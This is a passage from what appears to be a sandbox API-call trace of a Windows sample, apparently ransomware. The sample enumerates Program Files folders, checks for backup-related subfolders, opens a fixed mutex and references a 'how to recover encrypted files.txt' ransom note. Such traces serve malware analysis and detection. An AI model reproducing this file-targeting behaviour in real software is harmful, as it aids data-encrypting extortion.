Compact Edition\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@練R企@\x18Q\x18j")) returned 0xffffffff [0040.912] GetLastError () returned 0x2 [0040.912] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0040.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0040.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Adobe", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@儔R企@\x18䔌S\x18q")) returned 0xffffffff [0040.913] GetLastError () returned 0x2 [0040.913] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="adobe\\Q°") returned 6 [0040.913] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0040.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Oracle", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@嵤R企@\x18?T\x18y")) returned 0xffffffff [0040.913] GetLastError () returned 0x2 [0040.914] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="oracle\\S ") returned 7 [0040.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0040.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Archive", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@缤R企@\x18䔌S\x18\x81")) returned 0xffffffff [0040.914] GetLastError () returned 0x2 [0040.914] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0040.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0040.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Backup", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0040.914] GetLastError () returned 0x2 [0040.915] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="backup䔈S ") returned 6 [0040.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0040.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Reserv", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@嵤R企@\x18䔌S\x18\x8f")) returned 0xffffffff [0040.915] GetLastError () returned 0x2 [0040.915] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0040.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0040.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Restore", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@缤R企@\x18?T\x18\x97")) returned 0xffffffff [0040.915] GetLastError () returned 0x2 [0040.916] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="restoreS ") returned 7 [0040.916] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.916] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.916] GlobalUnlock (hMem=0x44000c) returned 0 [0040.916] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.916] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.916] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.916] GlobalUnlock (hMem=0x44000c) returned 0 [0040.916] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.916] GlobalUnlock (hMem=0x440004) returned 0 [0040.916] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61be8, cbMultiByte=3, lpWideCharStr=0x18e464, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0040.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x525ef0 [0040.916] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.916] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf4b0d0, ftCreationTime.dwHighDateTime=0x1d54b05, ftLastAccessTime.dwLowDateTime=0x9988bbe0, ftLastAccessTime.dwHighDateTime=0x1d55cc7, ftLastWriteTime.dwLowDateTime=0x9988bbe0, ftLastWriteTime.dwHighDateTime=0x1d55cc7, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0040.916] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f454 | out: lpLocalFileTime=0x18f454) returned 1 [0040.916] FileTimeToDosDateTime (in: lpFileTime=0x18f454, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0040.916] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.916] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.916] GlobalUnlock (hMem=0x440004) returned 0 [0040.916] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.916] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.916] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.916] GlobalUnlock (hMem=0x440004) returned 0 [0040.917] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.917] GlobalUnlock (hMem=0x44000c) returned 0 [0040.917] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.917] CharLowerBuffW (in: lpsz="utg2.exe", cchLength=0x8 | out: lpsz="utg2.exe") returned 0x8 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3e8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0040.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3f0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\utg2.exe", cchWideChar=62, lpMultiByteStr=0x18e3cc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\utg2.exer", lpUsedDefaultChar=0x0) returned 62 [0040.917] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0040.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3f0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exempact Edition\\utg2.exer", lpUsedDefaultChar=0x0) returned 4 [0040.917] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0040.917] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0040.917] GetLastError () returned 0x12 [0040.917] FindClose (in: hFindFile=0x525ef0 | out: hFindFile=0x525ef0) returned 1 [0040.918] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.918] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.918] GlobalUnlock (hMem=0x44000c) returned 0 [0040.918] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.918] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.918] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.918] GlobalUnlock (hMem=0x44000c) returned 0 [0040.918] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.918] GlobalUnlock (hMem=0x440004) returned 0 [0040.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c38, cbMultiByte=3, lpWideCharStr=0x18e464, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0040.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x525ef0 [0040.918] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f454 | out: lpLocalFileTime=0x18f454) returned 1 [0040.918] FileTimeToDosDateTime (in: lpFileTime=0x18f454, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0040.918] GlobalLock (hMem=0x440004) returned 0x520100 [0040.918] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.918] GlobalUnlock (hMem=0x440004) returned 0 [0040.918] GlobalLock (hMem=0x440004) returned 0x520100 [0040.918] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.918] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.918] GlobalUnlock (hMem=0x440004) returned 0 [0040.918] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.918] GlobalUnlock (hMem=0x44000c) returned 0 [0040.918] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.918] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.918] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f450 | out: lpLocalFileTime=0x18f450) returned 1 [0040.918] FileTimeToDosDateTime (in: lpFileTime=0x18f450, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0040.919] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.919] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.919] GlobalUnlock (hMem=0x44000c) returned 0 [0040.919] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.919] GlobalLock (hMem=0x440004) returned 0x550178 [0040.919] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.919] GlobalUnlock (hMem=0x44000c) returned 0 [0040.919] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.919] GlobalUnlock (hMem=0x440004) returned 0 [0040.919] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.919] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf4b0d0, ftCreationTime.dwHighDateTime=0x1d54b05, ftLastAccessTime.dwLowDateTime=0x9988bbe0, ftLastAccessTime.dwHighDateTime=0x1d55cc7, ftLastWriteTime.dwLowDateTime=0x9988bbe0, ftLastWriteTime.dwHighDateTime=0x1d55cc7, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0040.919] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f450 | out: lpLocalFileTime=0x18f450) returned 1 [0040.919] FileTimeToDosDateTime (in: lpFileTime=0x18f450, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0040.919] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.919] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.919] GlobalUnlock (hMem=0x440004) returned 0 [0040.919] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.919] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.919] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.919] GlobalUnlock (hMem=0x440004) returned 0 [0040.919] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.919] GlobalUnlock (hMem=0x44000c) returned 0 [0040.919] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.919] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0040.919] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f450 | out: lpLocalFileTime=0x18f450) returned 1 [0040.919] FileTimeToDosDateTime (in: lpFileTime=0x18f450, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0040.919] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.919] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.919] GlobalUnlock (hMem=0x44000c) returned 0 [0040.919] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.919] GlobalLock (hMem=0x440004) returned 0x550178 [0040.920] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.920] GlobalUnlock (hMem=0x44000c) returned 0 [0040.920] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.920] GlobalUnlock (hMem=0x440004) returned 0 [0040.920] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.920] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.920] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.920] GlobalUnlock (hMem=0x440004) returned 0 [0040.920] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.920] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.920] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.920] GlobalUnlock (hMem=0x440004) returned 0 [0040.920] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.920] GlobalUnlock (hMem=0x44000c) returned 0 [0040.920] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.920] SysReAllocStringLen (in: pbstr=0x18f450*=0x0, psz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5", len=0x3a | out: pbstr=0x18f450*="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned 1 [0040.920] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.920] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.920] GlobalUnlock (hMem=0x44000c) returned 0 [0040.920] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.920] GlobalLock (hMem=0x440004) returned 0x550178 [0040.920] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.920] GlobalUnlock (hMem=0x44000c) returned 0 [0040.920] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.920] GlobalUnlock (hMem=0x440004) returned 0 [0040.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=26, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\牡敩s") returned 26 [0040.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Microsoft\\Exchange Server", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꐖRꏪR企@\x18㳔Q\x18\x1b")) returned 0xffffffff [0041.141] GetLastError () returned 0x3 [0041.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=21, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\牡敩s") returned 21 [0041.141] FindFirstFileW (in: lpFileName="C:\\Program 